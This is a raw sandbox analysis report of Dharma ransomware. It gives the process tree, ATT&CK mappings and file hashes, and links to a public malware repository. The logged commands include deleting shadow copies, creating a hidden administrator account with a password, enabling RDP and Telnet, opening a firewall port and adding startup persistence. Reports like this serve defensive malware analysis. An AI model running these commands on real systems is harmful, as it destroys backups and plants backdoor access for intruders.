PID 4172 wrote to memory of 2020	4172	chrome.exe	chrome.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

5060 attrib.exe

pid	process
5060	attrib.exe

C:\Windows\system32\LaunchWinApp.exe
"C:\Windows\system32\LaunchWinApp.exe" "https://github.com/Da2dalus/The-MALWARE-Repo/blob/master/Ransomware/7ev3n.exe"
1⤵
PID:3400

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:64

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:4712

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2980

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4400

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:4504

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
PID:5044

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:2744

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4312

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:1944

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4172

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ff9d3339758,0x7ff9d3339768,0x7ff9d3339778
2⤵
PID:2868

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1648 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:2
2⤵
PID:372

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1852 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:8
2⤵
PID:4176

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2124 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:8
2⤵
PID:2020

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2892 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:1
2⤵
PID:3296

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2900 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:1
2⤵
PID:2064

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3612 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:1
2⤵
PID:344

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4644 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:8
2⤵
PID:2812

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3888 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:8
2⤵
PID:3572

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4840 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:8
2⤵
PID:1200

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5052 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:8
2⤵
PID:876

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3884 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:8
2⤵
PID:2264

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=3848 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:1
2⤵
PID:1328

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4960 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:8
2⤵
PID:2660

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2980 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:8
2⤵
PID:2804

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3620 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:8
2⤵
PID:2368

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=164 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:2
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2716

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=480 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:1
2⤵
PID:3948

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:8
2⤵
PID:2368

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5276 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:8
2⤵
PID:1936

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2320 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:8
2⤵
PID:5056

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3996 --field-trial-handle=1856,i,4622932882288427114,3524570253018307926,131072 /prefetch:8
2⤵
PID:828

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:2776

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:400

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2792

C:\Users\Admin\Downloads\Dharma.exe
"C:\Users\Admin\Downloads\Dharma.exe"
1⤵
- Executes dropped EXE
PID:1968

C:\Users\Admin\Downloads\ac\nc123.exe
"C:\Users\Admin\Downloads\ac\nc123.exe"
2⤵
- Executes dropped EXE
- Enumerates connected drives
PID:3828

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c cls
3⤵
PID:4628

C:\Users\Admin\Downloads\ac\mssql.exe
"C:\Users\Admin\Downloads\ac\mssql.exe"
2⤵
- Sets service image path in registry
- Executes dropped EXE
- Suspicious behavior: LoadsDriver
- Suspicious use of SetWindowsHookEx
PID:2660

C:\Users\Admin\Downloads\ac\mssql2.exe
"C:\Users\Admin\Downloads\ac\mssql2.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1200

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\ac\Shadow.bat" "
2⤵
PID:2692

C:\Windows\SysWOW64\vssadmin.exe
vssadmin delete shadows /all
3⤵
- Interacts with shadow copies
PID:2696

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\ac\systembackup.bat" "
2⤵
PID:3376

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
3⤵
PID:2164

C:\Windows\SysWOW64\Wbem\WMIC.exe
WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value
4⤵
PID:4964

C:\Windows\SysWOW64\find.exe
Find "="
4⤵
PID:5116

C:\Windows\SysWOW64\net.exe
net user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
3⤵
PID:3836

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
4⤵
PID:2804

C:\Windows\SysWOW64\net.exe
net localgroup Administrators systembackup /add
3⤵
PID:428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Administrators systembackup /add
4⤵
PID:356

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
3⤵
PID:4016

C:\Windows\SysWOW64\Wbem\WMIC.exe
WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value
4⤵
PID:3432

C:\Windows\SysWOW64\find.exe
Find "="
4⤵
PID:4760

C:\Windows\SysWOW64\net.exe
net localgroup "Remote Desktop Users" systembackup /add
3⤵
PID:3600

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup "Remote Desktop Users" systembackup /add
4⤵
PID:2696

C:\Windows\SysWOW64\net.exe
net accounts /forcelogoff:no /maxpwage:unlimited
3⤵
PID:2804

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 accounts /forcelogoff:no /maxpwage:unlimited
4⤵
PID:3836

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
3⤵
PID:356

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
3⤵
PID:428

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v systembackup /t REG_DWORD /d 0x0 /f
3⤵
PID:3940

C:\Windows\SysWOW64\attrib.exe
attrib C:\users\systembackup +r +a +s +h
3⤵
- Sets file to hidden
- Views/modifies file attributes
PID:5060

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening TCP 3389 "Remote Desktop"
3⤵
- Modifies Windows Firewall
PID:3148

C:\Windows\SysWOW64\sc.exe
sc config tlntsvr start=auto
3⤵
- Launches sc.exe
PID:1980

C:\Windows\SysWOW64\net.exe
net start Telnet
3⤵
PID:4964

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start Telnet
4⤵
PID:3432

C:\Users\Admin\Downloads\ac\EVER\SearchHost.exe
"C:\Users\Admin\Downloads\ac\EVER\SearchHost.exe"
2⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:2260

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:3568

C:\Users\Admin\Downloads\Dharma.exe
"C:\Users\Admin\Downloads\Dharma.exe"
1⤵
- Executes dropped EXE
PID:1456

C:\Users\Admin\Downloads\Dharma.exe
"C:\Users\Admin\Downloads\Dharma.exe"
1⤵
- Executes dropped EXE
PID:924

C:\Users\Admin\Downloads\ac\nc123.exe
"C:\Users\Admin\Downloads\ac\nc123.exe"
1⤵
- Executes dropped EXE
PID:3788

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c cls
2⤵
PID:964

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\ac\Shadow.bat" "
1⤵
PID:1048

C:\Windows\system32\vssadmin.exe
vssadmin delete shadows /all
2⤵
- Interacts with shadow copies
PID:1744

C:\Users\Admin\Downloads\ac\unlocker.exe
"C:\Users\Admin\Downloads\ac\unlocker.exe"
1⤵
- Executes dropped EXE
PID:1456

C:\Users\Admin\AppData\Local\Temp\is-2A1V7.tmp\unlocker.tmp
"C:\Users\Admin\AppData\Local\Temp\is-2A1V7.tmp\unlocker.tmp" /SL5="$804E8,1939817,139776,C:\Users\Admin\Downloads\ac\unlocker.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:3840

C:\Users\Admin\AppData\Local\Temp\is-USUMH.tmp\TaskHelper.exe
"C:\Users\Admin\AppData\Local\Temp\is-USUMH.tmp\TaskHelper.exe" /Bookmark
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:1976

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\IObit\IObit Unlocker\IObitUnlockerExtension.dll"
3⤵
- Loads dropped DLL
PID:5068

C:\Windows\system32\regsvr32.exe
/s "C:\Program Files (x86)\IObit\IObit Unlocker\IObitUnlockerExtension.dll"
4⤵
- Loads dropped DLL
- Modifies system executable filetype association
- Registers COM server for autorun
- Modifies registry class
PID:3392

C:\Program Files (x86)\IObit\IObit Unlocker\IObitUnlocker.exe
"C:\Program Files (x86)\IObit\IObit Unlocker\IObitUnlocker.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:5092

C:\Users\Admin\Downloads\ac\mssql.exe
"C:\Users\Admin\Downloads\ac\mssql.exe"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Suspicious behavior: LoadsDriver
- Suspicious use of SetWindowsHookEx
PID:4508

C:\Users\Admin\Downloads\ac\EVER\SearchHost.exe
"C:\Users\Admin\Downloads\ac\EVER\SearchHost.exe"
1⤵
- Executes dropped EXE
PID:2184

C:\Users\Admin\Downloads\ac\EVER\1saas\1sass.exe
"C:\Users\Admin\Downloads\ac\EVER\1saas\1sass.exe"
1⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:5040

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
2⤵
PID:360

C:\Windows\system32\mode.com
mode con cp select=1251
3⤵
PID:520

C:\Windows\system32\vssadmin.exe
vssadmin delete shadows /all /quiet
3⤵
- Interacts with shadow copies
PID:1388

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
2⤵
PID:7180

C:\Windows\system32\mode.com
mode con cp select=1251
3⤵
PID:7628

C:\Windows\system32\vssadmin.exe
vssadmin delete shadows /all /quiet
3⤵
- Interacts with shadow copies
PID:7320

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"
2⤵
PID:1956

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"
2⤵
PID:6620

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\4a90e531ca7b4fccb2392f77861d8bde /t 6376 /p 1956
1⤵
PID:6388

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Inhibit System Recovery

T1490

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\IObit\IObit Unlocker\IObitUnlocker.dll
Filesize
71KB

MD5
e1a4327af3cd8ca866996f472f0ff93a

SHA1
cfea8426ef8fab4136055401152821a19f908d45

SHA256
5f0bc7d75f32981e0e704c2217ed423c9a355f19515a1603103cc55cf9d3b901

SHA512
745f1ec495869d2fa2722ecadcaa27ec1f005742c69110802e9e1d7600d680d077e9762a400799e38003a4671a2590ecf1c480c2e7586039ebcce6ed36662280

Download Submit
C:\Program Files (x86)\IObit\IObit Unlocker\IObitUnlocker.exe
Filesize
2.3MB

MD5
9303575597168ef11790500b29279f56

SHA1
bfab0ea30c5959fda893b9ddc6a348a4f47f8677

SHA256
0a507a553010c19369f17b649c5ffe6060216480059062ff75241944cf729bd7

SHA512
8e9f7a98c0a0c90643403d4abccd8736d12ba6bef83679ccfd626e52e86ed7db6fe558c6ec48a88cf32967c00d66131f550ac64cc98cd73fd477f165694e68b0

Download Submit
C:\Program Files (x86)\IObit\IObit Unlocker\unins000.exe
Filesize
1.1MB

MD5
7c0afb6285df6bbbc405463e4105256c

SHA1
fd8fef524e198efc42b88d6124f5c123c9158605

SHA256
9598b825e971c591e478897c73d5352826edeaf3c141a43dd3c023853fba4b22

SHA512
8977143a1997678308df69fd194bbc007999fc2db081852a0f5d110d66bc10b50baee006b1c1f0c31955bc4943bd7a5afdc8d9e8f46c1b363dff66dabd7d0c30

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
1KB

MD5
625fad6dce6b10e18c52a83eb25d6ad7

SHA1
9eafe86737a80fb642da89b1c778a22d6861ed91

SHA256
3c1be845510cd43e1d00edcee2a01e95d246f18d29b5d2c8e11d5999f79bf3b8

SHA512
242608a801e5c747ea72f40c8d49d693ccc1aeda5080e552227f2e828b44e35be66687f96a92241e5a81de3fe284f445dd20dd5e478020c0823c405befc6c658

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Filesize
1KB

MD5
3ef8bfb7f8a861184672b43aea191981

SHA1
be390c67bc70399243a72dfad9fb0ce8dc718758

SHA256
93b6708d98648058a4159810a5fed4052f75e1ab41f6be3f5b019ba4cd81228d

SHA512
8858615d140005b365ef80b6eef5a1ed8fecf101867b7e117ea5306cfaa8ad271f04bda38494c323bf373713906e03b9132850b543d3d68bec5264eefa1e2e0b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Filesize
1KB

MD5
0a8b87f8e8cac2f8fde323e5f9393261

SHA1
222deff0ea05aab71d806561c37738b9b46ca50c

SHA256
7097e12000ca46f511102eb3e0b57dd567bfa5923dcb1a81def874ee70ec6c5e

SHA512
813116ae159156888ed869b14b291c211413bbd992011aa3a41bd675b88abe92a65992b0564dc95292cbf2cf72d0cc4f4535936c397950af63ff194a6199372e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
8e4cffca9920922f6c91f5ba3b1c9478

SHA1
ce4656dd21d13384fc333a15d101c3fe5d2c50cd

SHA256
205bac8f423f11140b51bd1f8704c6e6394c661c1c209ef53d68238529e3169a

SHA512
82b24143538d6144c58729ffdb9578cd81a7dedd895d34ef01674962fe90944554e1b4650e2f210bc9584d0696242f7e03429f421b418caaa153559065425134

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
217ae9d7d11063701c2fb1f7dae474d2

SHA1
c8ed8905f766ee895aa9d769e6e93de518bf7bc6

SHA256
f2964c06989891f72cef1b03a93bc5e3918294cc1f9eb1cd4ece48324e19db6b

SHA512
b2a406fd661d876af6fc35620796d70dc681d3c1f033cc114b11ea5b061c31110d8f31d7d7f4f290d2872f36e5f29c5a57502ff17056764972f96bf4764b3c5a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
1KB

MD5
d0ec94bdc27d9009ed58706973ee1b6a

SHA1
e06b2252ad60c16492f077f33e26cb0e88b4a0bb

SHA256
b230cd804b6383330348d6df94601d6504c2cc2fc839769f1c0d767ec4ab2719

SHA512
33778048a759d17ecc7a943d028abb370592050d09e2eed28bd9ff1a4e077e3a03c589ed314569f2fa5eb5838949c11ae3960213d590c4891fbcdb483ba21d6c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
371B

MD5
add88b231ab16c552f2a823ed3bb507b

SHA1
ed2fba3462047631be4616b4c6fddac1b1fc404e

SHA256
04e838812060ac108cd5435266f9eadc67cb803f462ef2650db35bfb740261ba

SHA512
3eeaabb7d3aa88bffa5f1bd1b1fd908ac82172da205b0688007187ee72f8e01dcef942f6aaf97ccdc03f631ee99f8351685f78d0f5ab1543bfa6cfdbd983a2a9

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
6KB

MD5
7e4f1f1394d0dd03ace069122feaaee5

SHA1
b9563e579d35aa606a95b2a298788b3ba3ae0c44

SHA256
b5d94e35c5a0349b8fa4dea1bfab12545b351a5cc8f9bb3d3b90e89b898f35e2

SHA512
99a6c66f3d72f08b0a2f8611664be9534231cd9cea68cfb6bdaba4a326a05e072d30d4e36754dcd1dba52fbb919ca5295e7e5fc7c7b4c015329078db719d068b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
5KB

MD5
0637fda7d383ae39480c27c24f072ad2

SHA1
2168edd5113985f93c792ff9be012f740bb41b32

SHA256
1285c18238da57d9ba5f9b3daa63037652f273e926eb4adc426906a5b2e8a549

SHA512
